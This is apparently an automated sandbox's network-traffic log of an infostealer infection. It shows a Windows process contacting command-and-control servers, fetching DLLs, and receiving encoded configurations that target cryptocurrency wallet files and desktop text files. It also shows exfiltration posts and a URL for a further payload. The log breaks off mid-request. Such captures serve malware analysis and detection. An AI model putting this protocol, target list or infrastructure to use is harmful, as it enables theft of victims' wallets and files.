Aug 30, 2024 06:18:13.537328959 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 06:18:14.545494080 CEST	93	OUT	GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:14.776796103 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 06:18:15.333765030 CEST	94	OUT	GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:15.507854939 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 06:18:16.099633932 CEST	90	OUT	GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:16.273998976 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 06:18:17.880856991 CEST	94	OUT	GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:18.055118084 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 06:18:18.490026951 CEST	98	OUT	GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:18.665945053 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 06:18:19.393038988 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 193.176.190.41 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:19.706579924 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:19.872807026 CEST	468	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 193.176.190.41 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="message"wallets------FIIIIDGHJEBFBGDHDGII--
Aug 30, 2024 06:18:20.226929903 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 30, 2024 06:18:20.311450958 CEST	466	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: 193.176.190.41 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="message"files------BKECFIIEHCFHIECAFBAK--
Aug 30, 2024 06:18:20.490307093 CEST	302	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 76 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4b 69 35 30 65 48 52 38 4a 55 52 46 55 30 74 55 54 31 41 6c 58 48 78 38 4e 54 42 38 4d 58 77 77 66 44 42 38 4b 69 35 30 65 48 52 38 4a 55 52 50 51 31 56 4e 52 55 35 55 55 79 56 63 66 48 77 31 4d 48 77 78 66 44 42 38 4d 48 77 3d Data Ascii: Ki50eHR8JURFU0tUT1AlXHx8NTB8MXwwfDB8Ki50eHR8JURPQ1VNRU5UUyVcfHw1MHwxfDB8MHw=
Aug 30, 2024 06:18:20.724740028 CEST	203	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 193.176.190.41 Content-Length: 84811 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:21.405174971 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:21.964802980 CEST	473	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK Host: 193.176.190.41 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="message"ybncbhylepme------CBKJJEHCBAKFBFHJKFBK--
Aug 30, 2024 06:18:22.147257090 CEST	263	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 60 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 68 62 47 52 70 59 57 4a 73 62 79 35 6a 62 43 39 72 59 58 4a 31 4c 32 77 79 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 48 77 3d Data Ascii: aHR0cHM6Ly9hbGRpYWJsby5jbC9rYXJ1L2wyLmV4ZXwwfDB8U3RhcnR8MHw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49796	147.45.68.138	80	8008	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:18:08.083722115 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:08.988900900 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:18:09.068245888 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHC Host: 147.45.68.138 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------FCFBAKJDBKJJKFIDBGHC--
Aug 30, 2024 06:18:09.629005909 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|a4b983013129bfa860b5a5f8b4e8aa51\|1\|1\|1\|0\|0\|50000\|10
Aug 30, 2024 06:18:09.964965105 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 